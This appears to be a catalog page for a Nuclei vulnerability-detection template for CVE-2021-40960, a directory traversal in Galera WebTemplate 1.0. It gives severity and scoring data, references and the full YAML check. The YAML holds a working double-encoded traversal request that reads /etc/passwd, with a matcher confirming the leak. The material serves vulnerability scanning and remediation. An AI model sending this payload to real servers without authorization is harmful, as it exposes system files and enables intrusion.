CVE-2021-40960: Galera WebTemplate 1.0 Directory Traversal
- Template: CVE-2021-40960
- Name: Galera WebTemplate 1.0 Directory Traversal
- Description: Galera WebTemplate 1.0 is affected by a directory traversal vulnerability that could reveal information from /etc/passwd and /etc/shadow.
- Impact: An attacker can read, modify, or delete sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
- Remediation: Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Galera WebTemplate 1.0.
- Severity: critical
- Authors: daffainfo
- Tags: cve2021, cve, lfi, galera, vuln
- References: http://www.omrylmz.com/galera-webtemplate-1-0-directory-traversal-vulnerability-cve-2021-40960/, https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40960, http://www.galera.com.tr/, https://github.com/ARPSyndicate/cvemon, https://github.com/ARPSyndicate/kenzer-templates
- Cves: CVE-2021-40960
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-40960.yaml
- Digest: 4b0a00483046022100badef1da20b4dd8a4be2417378c70123a1ec30a67e027a32e46ddef3077651e0022100a778c2e369d84fa2883c820cbe9624bbf92749ec5d35557d4a69581726be8e33
- Created at: 2021-10-01T23:25:06Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 1880
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40960.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-22
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.0992
- Epss percentile: 0.95705
- Cpe: cpe:2.3:a:galera:galera_webtemplate:1.0:*:*:*:*:*:*:*
Metadata
- Max-request: 1
- Product: galera_webtemplate
- Vendor: galera
Products
| Product | Indexed | Url |
|---|---|---|
| galera:galera_webtemplate | yes | /v1/products/galera/galera_webtemplate |
Labels
- Name: Galera WebTemplate - Path Traversal
- Impact: Attackers can retrieve sensitive system files, leading to information disclosure and potential further exploitation.
- Remediation: Update to the latest version of Galera WebTemplate that addresses this vulnerability or apply security patches.
- Vulnerability type: path_traversal
- Vulnerability impact: information_disclosure, file_system_read
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-40960
- Not known: requirements
```yaml
id: CVE-2021-40960
info:
name: Galera WebTemplate 1.0 Directory Traversal
author: daffainfo
severity: critical
description: Galera WebTemplate 1.0 is affected by a directory traversal vulnerability that could reveal information from /etc/passwd and /etc/shadow.
impact: |
An attacker can read, modify, or delete sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Galera WebTemplate 1.0.
reference:
- http://www.omrylmz.com/galera-webtemplate-1-0-directory-traversal-vulnerability-cve-2021-40960/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40960
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-40960
cwe-id: CWE-22
epss-score: 0.0992
epss-percentile: 0.95705
cpe: cpe:2.3:a:galera:galera_webtemplate:1.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: galera
product: galera_webtemplate
tags: cve2021,cve,lfi,galera,vuln
http:
- method: GET
path:
- "{{BaseURL}}/GallerySite/filesrc/fotoilan/388/middle//.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
digest: 4b0a00483046022100badef1da20b4dd8a4be2417378c70123a1ec30a67e027a32e46ddef3077651e0022100a778c2e369d84fa2883c820cbe9624bbf92749ec5d35557d4a69581726be8e33:922c64590222798bb761d5b6d8e72950
```